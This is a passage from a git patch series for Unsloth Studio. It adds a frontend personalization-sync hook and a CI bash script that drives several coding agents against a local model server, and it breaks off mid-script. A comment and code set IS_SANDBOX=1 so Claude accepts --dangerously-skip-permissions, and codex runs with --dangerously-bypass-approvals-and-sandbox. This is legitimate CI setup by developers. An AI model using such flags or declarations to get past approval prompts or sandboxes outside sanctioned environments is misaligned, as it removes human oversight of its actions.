+function profileSnapshot(): ProfileSnapshot {
+  const s = useUserProfileStore.getState();
+  return {
+    displayName: s.displayName,
+    nickname: s.nickname,
+    avatarDataUrl: s.avatarDataUrl,
+    avatarShape: s.avatarShape,
+  };
+}
+
+function payload(
+  profile: ProfileSnapshot,
+  theme: Theme,
+  language: Locale | null,
+): PersonalizationWrite {
+  return {
+    version: 1,
+    profile: normalizeProfile(profile),
+    appearance: { theme, language },
+  };
+}
+
+function serialized(data: PersonalizationWrite): string {
+  return JSON.stringify(data);
+}
+
+function hasLocalSettings(
+  profile: ProfileSnapshot,
+  theme: Theme,
+  language: Locale,
+): boolean {
+  return Boolean(
+    profile.displayName ||
+      profile.nickname ||
+      profile.avatarDataUrl ||
+      profile.avatarShape !== "circle" ||
+      theme !== "system" ||
+      language !== DEFAULT_LOCALE,
+  );
+}
+
+export function usePersonalizationSync(enabled: boolean): void {
+  const displayName = useUserProfileStore((s) => s.displayName);
+  const nickname = useUserProfileStore((s) => s.nickname);
+  const avatarDataUrl = useUserProfileStore((s) => s.avatarDataUrl);
+  const avatarShape = useUserProfileStore((s) => s.avatarShape);
+  const { theme } = useTheme();
+  const language = useLocale();
+  const [hydratedGeneration, setHydratedGeneration] = useState(0);
+  const authGenerationRef = useRef(0);
+  const latestThemeRef = useRef(theme);
+  const latestLanguageRef = useRef(language);
+  const lastSavedRef = useRef("");
+  const saveInFlightRef = useRef(false);
+  const queuedSaveRef = useRef<QueuedSave | null>(null);
+
+  const drainSaveQueue = useCallback(() => {
+    drainQueuedSave(
+      saveInFlightRef,
+      queuedSaveRef,
+      authGenerationRef,
+      lastSavedRef,
+    );
+  }, []);
+
+  useEffect(() => {
+    latestThemeRef.current = theme;
+  }, [theme]);
+
+  useEffect(() => {
+    latestLanguageRef.current = language;
+  }, [language]);
+
+  useEffect(() => {
+    authGenerationRef.current += 1;
+    const generation = authGenerationRef.current;
+    lastSavedRef.current = "";
+    queuedSaveRef.current = null;
+    if (!enabled) {
+      return;
+    }
+    let cancelled = false;
+    void (async () => {
+      try {
+        const remote = await loadPersonalization();
+        if (cancelled) return;
+        if (remote.saved) {
+          const nextProfile: ProfileSnapshot = {
+            displayName: remote.profile.displayName ?? "",
+            nickname: remote.profile.nickname ?? "",
+            avatarDataUrl: remote.profile.avatarDataUrl ?? null,
+            avatarShape: remote.profile.avatarShape === "rounded" ? "rounded" : "circle",
+          };
+          const nextTheme = remote.appearance.theme;
+          const nextLanguage = isSupportedLocale(remote.appearance.language)
+            ? remote.appearance.language
+            : latestLanguageRef.current;
+          useUserProfileStore.setState(nextProfile);
+          if (nextTheme !== latestThemeRef.current) setTheme(nextTheme);
+          if (nextLanguage !== latestLanguageRef.current) setLocale(nextLanguage);
+          lastSavedRef.current = serialized(
+            payload(nextProfile, nextTheme, nextLanguage),
+          );
+        } else {
+          const rawProfile = profileSnapshot();
+          const nextProfile = normalizeProfile(rawProfile);
+          if (!sameProfile(rawProfile, nextProfile)) {
+            useUserProfileStore.setState(nextProfile);
+          }
+          const nextTheme = latestThemeRef.current;
+          const nextLanguage = getLocale();
+          const nextPayload = payload(nextProfile, nextTheme, nextLanguage);
+          const nextSerialized = serialized(nextPayload);
+          if (hasLocalSettings(nextProfile, nextTheme, nextLanguage)) {
+            try {
+              await savePersonalization(nextPayload);
+              lastSavedRef.current = nextSerialized;
+            } catch {
+              lastSavedRef.current = "";
+            }
+          } else {
+            lastSavedRef.current = nextSerialized;
+          }
+        }
+        if (!cancelled && authGenerationRef.current === generation) {
+          setHydratedGeneration(generation);
+        }
+      } catch {
+        if (!cancelled && authGenerationRef.current === generation) {
+          lastSavedRef.current = "";
+        }
+      }
+    })();
+    return () => {
+      cancelled = true;
+    };
+  }, [enabled]);
+
+  useEffect(() => {
+    if (!enabled || hydratedGeneration !== authGenerationRef.current) return;
+    const current = payload(
+      { displayName, nickname, avatarDataUrl, avatarShape },
+      theme,
+      language,
+    );
+    const currentSerialized = serialized(current);
+    if (currentSerialized === lastSavedRef.current) return;
+    const id = window.setTimeout(() => {
+      queuedSaveRef.current = {
+        data: current,
+        generation: authGenerationRef.current,
+        serialized: currentSerialized,
+      };
+      drainSaveQueue();
+    }, PUSH_DEBOUNCE_MS);
+    return () => window.clearTimeout(id);
+  }, [
+    enabled,
+    hydratedGeneration,
+    displayName,
+    nickname,
+    avatarDataUrl,
+    avatarShape,
+    theme,
+    language,
+    drainSaveQueue,
+  ]);
+}
diff --git a/studio/frontend/src/features/profile/index.ts b/studio/frontend/src/features/profile/index.ts
index feec20607e..33bc4e3ef6 100644
--- a/studio/frontend/src/features/profile/index.ts
+++ b/studio/frontend/src/features/profile/index.ts
@@ -4,3 +4,4 @@
 export { ProfilePersonalizationPanel } from "./components/profile-personalization-panel";
 export { UserAvatar } from "./components/user-avatar";
 export { useEffectiveProfile } from "./hooks/use-effective-profile";
+export { usePersonalizationSync } from "./hooks/use-personalization-sync";
diff --git a/studio/frontend/src/features/profile/stores/user-profile-store.ts b/studio/frontend/src/features/profile/stores/user-profile-store.ts
index 709f4b5c1c..0055a58f5d 100644
--- a/studio/frontend/src/features/profile/stores/user-profile-store.ts
+++ b/studio/frontend/src/features/profile/stores/user-profile-store.ts
@@ -5,13 +5,12 @@ import { create } from "zustand";
 import { persist } from "zustand/middleware";
 
 export type AvatarShape = "circle" | "rounded";
+export const PROFILE_TEXT_MAX_LENGTH = 200;
 
 export interface UserProfileState {
   displayName: string;
-  // Preferred name used to address the user (greetings, etc.).
   nickname: string;
   avatarDataUrl: string | null;
-  // Avatar outline: full circle or rounded rectangle.
   avatarShape: AvatarShape;
   setDisplayName: (displayName: string) => void;
   setNickname: (nickname: string) => void;
diff --git a/studio/frontend/src/features/settings/api/personalization.ts b/studio/frontend/src/features/settings/api/personalization.ts
new file mode 100644
index 0000000000..829e8249bb
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/personalization.ts
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type PersonalizationProfile = {
+  displayName: string;
+  nickname: string;
+  avatarDataUrl: string | null;
+  avatarShape: "circle" | "rounded";
+};
+
+export type PersonalizationAppearance = {
+  theme: "light" | "dark" | "system";
+  language: string | null;
+};
+
+export type Personalization = {
+  version: number;
+  profile: PersonalizationProfile;
+  appearance: PersonalizationAppearance;
+  // Distinguishes server hydrate from first local migration.
+  saved: boolean;
+};
+
+export async function loadPersonalization(): Promise<Personalization> {
+  const res = await authFetch("/api/settings/personalization");
+  if (!res.ok) {
+    throw new Error(await readFastApiError(res, "Failed to load personalization"));
+  }
+  return (await res.json()) as Personalization;
+}
+
+export async function savePersonalization(
+  data: Omit<Personalization, "saved">,
+): Promise<void> {
+  const res = await authFetch("/api/settings/personalization", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify(data),
+  });
+  if (!res.ok) {
+    throw new Error(await readFastApiError(res, "Failed to save personalization"));
+  }
+}
diff --git a/studio/frontend/src/features/settings/index.ts b/studio/frontend/src/features/settings/index.ts
index bf9e8fe21a..364ca1611f 100644
--- a/studio/frontend/src/features/settings/index.ts
+++ b/studio/frontend/src/features/settings/index.ts
@@ -2,5 +2,16 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 export { SettingsDialog } from "./settings-dialog";
+export {
+  loadPersonalization,
+  savePersonalization,
+} from "./api/personalization";
+export { setTheme, useTheme } from "./stores/theme-store";
+export type {
+  Personalization,
+  PersonalizationAppearance,
+  PersonalizationProfile,
+} from "./api/personalization";
 export { useSettingsDialogStore } from "./stores/settings-dialog-store";
 export type { SettingsTab } from "./stores/settings-dialog-store";
+export type { ResolvedTheme, Theme } from "./stores/theme-store";

From 264f1a04f80df59ee9ea8ca49e6927331f391797 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 04:21:48 -0700
Subject: [PATCH 016/306] Add Local Agent Guides CI (#6547)

Boot `unsloth run --disable-tools` against a small GGUF and drive each
supported coding agent (claude, codex, hermes, openclaw, opencode, pi)
through its documented `unsloth connect <agent> --no-launch` recipe, so
the connect flow in unsloth_cli/commands/connect.py stays exercised end
to end and regressions surface as a failing check.

Per-agent matrix, three jobs:
- connection: assert a non-empty, error-free reply to a trivial prompt
- file-edit: a two-turn create-and-run hello.py test (dispatch/schedule
  only, skipped on pull_request)
- prompt-cache: verify llama.cpp prefix-cache reuse across requests

The GitHub-hosted runners are CPU-only, so each request is trimmed to
the smallest prompt that still drives the recipe: claude with --tools to
drop unused tool schemas (--allowedTools only gates permission, it does
not shrink the prompt), hermes with an empty platform_toolsets.cli, and
openclaw with a minimal agent definition. hermes and openclaw run a
multi-turn tool loop in file-edit that a CPU runner cannot finish in
time, so those two cells are best-effort; their endpoint wiring is still
hard-gated by the connection job.

A preflight step HTTP-checks each agent's API dialect before install so a
server-side contract regression is reported separately from agent or
guide drift.
---
 .github/scripts/agent-guides-drive.sh       | 502 ++++++++++++++++
 .github/scripts/agent-guides-install.sh     | 105 ++++
 .github/scripts/assert-prompt-cache.sh      | 238 ++++++++
 .github/scripts/ci-connect-prompt.txt       |   1 +
 .github/scripts/ci-min-system-prompt.txt    |   1 +
 .github/scripts/serve-unsloth-run.sh        | 172 ++++++
 .github/workflows/local-agent-guides-ci.yml | 599 ++++++++++++++++++++
 7 files changed, 1618 insertions(+)
 create mode 100755 .github/scripts/agent-guides-drive.sh
 create mode 100755 .github/scripts/agent-guides-install.sh
 create mode 100755 .github/scripts/assert-prompt-cache.sh
 create mode 100644 .github/scripts/ci-connect-prompt.txt
 create mode 100644 .github/scripts/ci-min-system-prompt.txt
 create mode 100755 .github/scripts/serve-unsloth-run.sh
 create mode 100644 .github/workflows/local-agent-guides-ci.yml

diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
new file mode 100755
index 0000000000..3c7cea919c
--- /dev/null
+++ b/.github/scripts/agent-guides-drive.sh
@@ -0,0 +1,502 @@
+#!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+#
+# Drive one coding agent against the running `unsloth run` server for the
+# Local Agent Guides CI. All failures from here are failure class (c)
+# "guide drift": the server preflight already passed and the agent CLI
+# already installed, so a failure here means the documented recipe in
+# unsloth_cli/commands/connect.py no longer produces a working flow.
+#
+# Self-updating: for the 5 agents with a connect.py recipe we obtain the
+# exact env + command from `unsloth connect <agent> --no-launch` and run
+# THAT, so a recipe change is exercised automatically. Pi (no connect.py
+# command at HEAD) is driven by a hand-written recipe.
+#
+# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
+# can never hang the runner -- a timeout is reported as guide drift with a
+# distinct message.
+#
+# Usage:
+#   agent-guides-drive.sh connection     <agent>
+#   agent-guides-drive.sh file-edit      <agent>
+#   agent-guides-drive.sh attribution-ab claude
+#
+# Required env (exported by serve-unsloth-run.sh):
+#   UNSLOTH_BASE_URL UNSLOTH_API_KEY UNSLOTH_MODEL_ID
+#   UNSLOTH_LLAMA_LOG_DIR  AGENT_INVOKE_TIMEOUT  UNSLOTH_SEED
+set -uo pipefail
+
+MODE="${1:?usage: agent-guides-drive.sh <mode> <agent>}"
+AGENT="${2:?usage: agent-guides-drive.sh <mode> <agent>}"
+
+: "${UNSLOTH_BASE_URL:?serve step did not export UNSLOTH_BASE_URL}"
+: "${UNSLOTH_API_KEY:?serve step did not export UNSLOTH_API_KEY}"
+: "${UNSLOTH_MODEL_ID:?serve step did not export UNSLOTH_MODEL_ID}"
+# Determinism (seed/temp) is applied at the server level by
+# serve-unsloth-run.sh --extra; agents inherit it through the API.
+TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}"
+
+# Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner
+# IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless
+# to the other agents, which ignore it.
+export IS_SANDBOX=1
+
+# Absolute paths anchored at the repo root (this script lives in
+# .github/scripts/). Everything writes here regardless of the current working
+# directory, so the file-edit mode can `cd` into a scratch work dir without
+# breaking log/redaction writes.
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
+LOGS_DIR="$REPO_ROOT/logs"
+REDACTED_DIR="$REPO_ROOT/redacted-configs"
+WORKDIR_BASE="$REPO_ROOT/agent-workdir"
+CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
+mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
+CONNECT_REF="unsloth_cli/commands/connect.py"
+
+# Prefill-shrinking flags for Claude Code. The heavyweight agents send
+# multi-thousand-token system prompts + full tool schemas, which on a CPU-only
+# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
+# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
+# and restricting tools cuts the prefill to a few hundred tokens so it completes
+# quickly on CPU. These only shape the request size; the connect.py recipe
+# (endpoint, auth, model) is still exercised end to end.
+#
+# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
+# via `claude -p /context`, the default prompt is ~28k tokens of which ~18k is
+# "System tools" alone. --allowedTools/--disallowedTools only gate PERMISSION to
+# call a tool; they do NOT remove its schema from what is sent to the model, so
+# the earlier whitelist left the full ~18k in the prompt and CPU prefill
+# (~16 tok/s) overran claude's own request timeout into a retry loop. --tools is
+# the flag that restricts which schemas are sent. (The ~8k "Memory files" chunk
+# is auto-loaded CLAUDE.md; the unsloth repo ships none, so it is 0 in CI.)
+#
+# Connection probe: --tools "" sends ZERO tool schemas, leaving ~20 tokens total
+# (a one-line --system-prompt-file + the user turn), which prefills instantly.
+CLAUDE_CONNECT_FLAGS=(
+  --system-prompt-file "$SCRIPT_DIR/ci-connect-prompt.txt"
+  --tools ""
+)
+# File-edit: the task needs the file/shell tools, so send only those schemas
+# (~2.3k tokens vs ~18k for the full set).
+CLAUDE_EDIT_FLAGS=(
+  --system-prompt-file "$SCRIPT_DIR/ci-min-system-prompt.txt"
+  --tools "Bash,Edit,Write,Read"
+)
+
+guide_fail() {
+  echo "::error::[guide drift] agent=${AGENT}: $* (preflight passed + install OK, so the documented flow in ${CONNECT_REF} drifted)." >&2
+  exit 1
+}
+
+# Redact the API key from any file we are about to keep as an artifact.
+# Portable across GNU sed (Linux runners) and BSD sed (macOS), so the
+# redaction is never silently skipped.
+redact() {
+  local f
+  for f in "$@"; do
+    [ -f "$f" ] || continue
+    if sed --version >/dev/null 2>&1; then
+      sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+    else
+      sed -i '' "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+    fi
+  done
+}
+
+# A reply must be non-empty and free of connection/auth errors.
+assert_reply() {
+  local out="$1"
+  if [ ! -s "$out" ]; then
+    guide_fail "agent produced an EMPTY reply"
+  fi
+  if grep -qiE 'connection refused|connection error|econnrefused|fetch failed|http 4[0-9][0-9]|unauthorized|invalid api key|authentication failed' "$out"; then
+    guide_fail "agent reply contained a connection/auth error: $(grep -iE 'connection|unauthorized|auth|http 4' "$out" | head -1)"
+  fi
+  echo "[$AGENT] reply (first 20 lines):"
+  head -20 "$out"
+}
+
+# Run a command under a hard timeout; map 124 to a guide-drift hang message.
+run_timed() {  # $1=outfile, rest=command
+  local out="$1"; shift
+  timeout "$TIMEOUT" "$@" > "$out" 2>&1
+  local rc=$?
+  if [ "$rc" -eq 124 ]; then
+    redact "$out"  # guide_fail exits below, so scrub the transcript here too
+    echo "[$AGENT] last 40 lines before timeout:"; tail -40 "$out" 2>/dev/null || true
+    guide_fail "invoke timed out after ${TIMEOUT}s (headless-TTY hang -- the recipe likely needs a non-interactive/print flag)"
+  fi
+  return "$rc"
+}
+
+# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
+write_pi_config() {
+  if unsloth connect pi --help >/dev/null 2>&1; then
+    # Tripwire: once a real recipe exists, the hand-written config would mask any
+    # drift in it, defeating the point of this CI. Fail hard so the cell is
+    # migrated to the self-updating `unsloth connect pi --no-launch` path.
+    guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
+  fi
+  mkdir -p "$HOME/.pi/agent"
+  python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY'
+import json, os, sys
+base, key, model = sys.argv[1], sys.argv[2], sys.argv[3]
+cfg = {"providers": {"unsloth": {
+    "api": "openai-completions",
+    "baseUrl": f"{base}/v1",
+    "apiKey": key,
+    "models": [{"id": model}],
+}}}
+path = os.path.expanduser("~/.pi/agent/models.json")
+with open(path, "w") as fh:
+    json.dump(cfg, fh, indent=2)
+PY
+  cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true
+  redact "$REDACTED_DIR/pi-models.json"
+}
+
+# ── 5-agent connect.py path: parse env + command from --no-launch ─────────
+# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
+# launch command on the last printed line), and runs connect.py's config
+# writers as a side effect (it writes ~/.codex, ~/.claude, etc.).
+parse_connect() {
+  local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
+    cat "$raw"
+    guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero"
+  fi
+  echo "[$AGENT] connect --no-launch printed:"; cat "$raw"
+  CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
+  # The launch command is the last non-export, non-status line. connect.py
+  # prints "Studio <url> · model <id>" and "Updated ..." status lines first.
+  CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
+    | grep -E '[^[:space:]]' | tail -1)"
+  [ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output"
+  redact "$raw"
+}
+
+# Cross-check the documented contract knobs so silent connect.py changes
+# (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
+crosscheck_contract() {
+  local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  case "$AGENT" in
+    codex)
+      grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
+        || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)"
+      if [ -f "$HOME/.codex/config.toml" ]; then
+        grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \
+          || guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml"
+        cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml"
+      fi
+      grep -q 'codex --oss --profile unsloth_api' "$raw" \
+        || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
+      ;;
+    claude)
+      grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
+        || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())"
+      if [ -f "$HOME/.claude/settings.json" ]; then
+        grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \
+          || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)"
+        cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json"
+      fi
+      ;;
+    hermes)
+      grep -q 'UNSLOTH_API_KEY' "$raw" \
+        || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)"
+      [ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml"
+      ;;
+    openclaw)
+      if [ -f "$HOME/.openclaw/openclaw.json" ]; then
+        grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \
+          || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
+        cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json"
+      fi
+      ;;
+    opencode)
+      [ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json"
+      ;;
+  esac
+  redact "$REDACTED_DIR"/* 2>/dev/null || true
+}
+
+# Heavyweight agents (hermes, openclaw) bake a large system prompt + tool JSON
+# schemas into every request, which a CPU runner cannot prefill before the invoke
+# timeout. As with claude's --tools, we shrink the request from the agent's own
+# config: zero tools for the connection probe collapses the prompt to a few
+# hundred tokens, since both CLIs gate the bulk of their prompt on having tools.
+
+# Hermes: an explicit empty cli toolset disables all tools (and drops the
+# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
+# hermes ships a DEFAULT config.yaml that already has a populated
+# platform_toolsets, and `unsloth connect` merges into it, so we must override
+# cli (not just append). That needs a YAML parser, and the runner's bare
+# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py
+# imports yaml), so run the patch with that interpreter.
+# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
+patch_hermes_tools() {  # $1 = none|default
+  # Find a python that can import yaml. The runner's bare python3 cannot, but the
+  # interpreter in the `unsloth` console-script shebang provably can (it runs
+  # connect.py's write_hermes_config, which imports yaml). Try that first, then
+  # any python on PATH, then the venv sibling, picking the first with PyYAML.
+  local cand py="" shebang
+  shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
+  for cand in "$shebang" python3 python "$(dirname "$(command -v unsloth)")/python"; do
+    [ -n "$cand" ] || continue
+    { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
+    if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
+  done
+  [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml"
+  echo "[hermes] patching config with $py"
+  "$py" - "$1" <<'PY'
+import os, sys
+import yaml
+mode = sys.argv[1]
+p = os.path.expanduser("~/.hermes/config.yaml")
+cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
+ts = cfg.get("platform_toolsets")
+if not isinstance(ts, dict):
+    ts = cfg["platform_toolsets"] = {}
+if mode == "none":
+    ts["cli"] = []          # explicit empty list -> zero tools (not "defaults")
+else:
+    ts.pop("cli", None)     # file-edit needs real tools -> restore defaults
+with open(p, "w") as fh:
+    yaml.safe_dump(cfg, fh, sort_keys=False)
+print(f"[hermes] platform_toolsets.cli = {ts.get('cli', 'default')}")
+PY
+}
+
+# OpenClaw: 'openclaw agent' has no tool/prompt flags, so we define a 'ci' agent
+# in openclaw.json. tools.deny ["*"] sends zero tool schemas (deny always wins)
+# for the connection probe; contextInjection "never" + defaults.skipBootstrap
+# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
+# both modes. --agent must reference a defined agent, so write it before invoking.
+patch_openclaw_agent() {  # $1 = notools|tools
+  python3 - "$1" <<'PY'
+import os, sys, json
+mode = sys.argv[1]
+p = os.path.expanduser("~/.openclaw/openclaw.json")
+cfg = json.load(open(p)) if os.path.exists(p) else {}
+agents = cfg.setdefault("agents", {})
+agents.setdefault("defaults", {})["skipBootstrap"] = True
+lst = [a for a in agents.get("list", []) if a.get("id") != "ci"]
+agent = {"id": "ci", "contextInjection": "never"}
+if mode == "notools":
+    agent["tools"] = {"deny": ["*"]}
+lst.append(agent)
+agents["list"] = lst
+with open(p, "w") as fh:
+    json.dump(cfg, fh, indent=2)
+print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
+PY
+}
+
+# Build an invoke script that applies connect.py's env then runs the launch
+# command (with extra args appended) under bash. We do NOT eval connect's env
+# into this shell; we write it into a one-shot script so the export/unset
+# semantics are exactly what connect.py printed. The script path is absolute
+# so it is valid even when the caller has cd'd into a scratch work dir.
+invoke_via_connect() {  # $1=outfile, rest=extra args appended to the command
+  local out="$1"; shift
+  local script="$LOGS_DIR/invoke-${AGENT}.sh"
+  local real; real="$(mktemp)"
+  {
+    echo "set -uo pipefail"
+    echo "$CONNECT_ENV"
+    # Append extra args (the prompt / flags) to the launch command verbatim.
+    printf '%s' "$CONNECT_CMD"
+    local a
+    for a in "$@"; do printf ' %q' "$a"; done
+    printf '\n'
+  } > "$real"
+  # Upload a REDACTED copy of the script, but EXECUTE the un-redacted one from a
+  # temp path outside the artifact dir. Redacting the script we run would turn
+  # the real `export TOKEN=sk-...` line into `export TOKEN=<REDACTED>`, which is
+  # invalid bash (the `<`/`>` are redirections) and silently breaks every agent.
+  # Writing the redacted copy up front keeps the key out of the artifact even if
+  # the run times out (run_timed exits before returning here).
+  cp "$real" "$script"; redact "$script"
+  echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*"
+  run_timed "$out" bash "$real"
+  local rc=$?
+  rm -f "$real"
+  redact "$out"  # the transcript can echo the token; scrub before upload
+  return "$rc"
+}
+
+# ═════════════════════════════════════════════════════════════════════════
+case "$MODE" in
+  # ── connection: trivial prompt, assert a non-empty, error-free reply ────
+  connection)
+    PROMPT='Reply with exactly the single word: pong'
+    OUT="$LOGS_DIR/${AGENT}-connection.txt"
+    if [ "$AGENT" = "pi" ]; then
+      write_pi_config
+      run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT"
+    else
+      parse_connect
+      crosscheck_contract
+      # claude/codex run in print mode via the flags connect.py emits
+      # (claude -p / codex exec). For agents whose default subcommand prints
+      # to stdout we pass the prompt through ctx.args.
+      case "$AGENT" in
+        claude)   invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
+        codex)    invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
+        opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
+        hermes)   patch_hermes_tools none
+                  invoke_via_connect "$OUT" -z "$PROMPT" ;;
+        openclaw) patch_openclaw_agent notools
+                  invoke_via_connect "$OUT" agent --local --agent ci \
+                    --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
+        *)        invoke_via_connect "$OUT" "$PROMPT" ;;
+      esac
+    fi
+    # A non-zero exit from the documented launch command is drift even if it
+    # printed something: a benign-looking "command not found" / usage dump would
+    # otherwise slip past assert_reply (which only flags empty/error-keyword text).
+    rc=$?
+    [ "$rc" -eq 0 ] || guide_fail "the documented launch command exited non-zero (rc=$rc) -- see the transcript above"
+    assert_reply "$OUT"
+    echo "[$AGENT] connection OK"
+    ;;
+
+  # ── file-edit: deterministic 2-turn hello.py test (Qwen3.5-2B) ──────────
+  file-edit)
+    WORK="$WORKDIR_BASE/${AGENT}"
+    rm -rf "$WORK"; mkdir -p "$WORK"
+    OUT1="$LOGS_DIR/${AGENT}-fileedit-turn1.txt"
+    OUT2="$LOGS_DIR/${AGENT}-fileedit-turn2.txt"
+    T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
+    T2='Run hello.py with python and show me the exact output.'
+
+    # The connect.py recipe writers + crosscheck must see the repo; run them
+    # from the repo root BEFORE cd-ing into the scratch work dir.
+    if [ "$AGENT" != "pi" ]; then
+      parse_connect
+      crosscheck_contract
+      # File-edit needs real tools, so we cannot zero them as in connection.
+      # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
+      # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
+      # dir is empty, so no project context files are auto-loaded either.
+      case "$AGENT" in
+        hermes)   patch_hermes_tools default ;;
+        openclaw) patch_openclaw_agent tools ;;
+      esac
+    else
+      write_pi_config
+    fi
+
+    # Drive from inside the work dir so the agent edits files there. All log
+    # writes use absolute $LOGS_DIR, so cwd does not matter for them.
+    cd "$WORK" || guide_fail "could not enter work dir $WORK"
+
+    invoke_turn() {  # $1=outfile $2=continue? $3=prompt
+      local out="$1" cont="$2" prompt="$3"
+      case "$AGENT" in
+        pi)       run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;;
+        claude)
+          # --dangerously-skip-permissions lets headless claude actually use the
+          # Write/Bash tools (otherwise it blocks on an approval prompt and emits
+          # nothing). IS_SANDBOX=1 (exported above) authorizes it.
+          if [ "$cont" = "continue" ]; then
+            invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p --continue "$prompt"
+          else
+            invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p "$prompt"
+          fi ;;
+        codex)
+          # --dangerously-bypass-approvals-and-sandbox gives codex exec
+          # workspace-write (default is read-only -> cannot create hello.py) and
+          # skips the bubblewrap sandbox that the runner lacks.
+          if [ "$cont" = "continue" ]; then
+            invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox resume --last "$prompt"
+          else
+            invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox "$prompt"
+          fi ;;
+        opencode) invoke_via_connect "$out" run "$prompt" ;;
+        hermes)   invoke_via_connect "$out" -z "$prompt" ;;
+        openclaw) invoke_via_connect "$out" agent --local --agent ci \
+                    --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;;
+        *)        invoke_via_connect "$out" "$prompt" ;;
+      esac
+    }
+
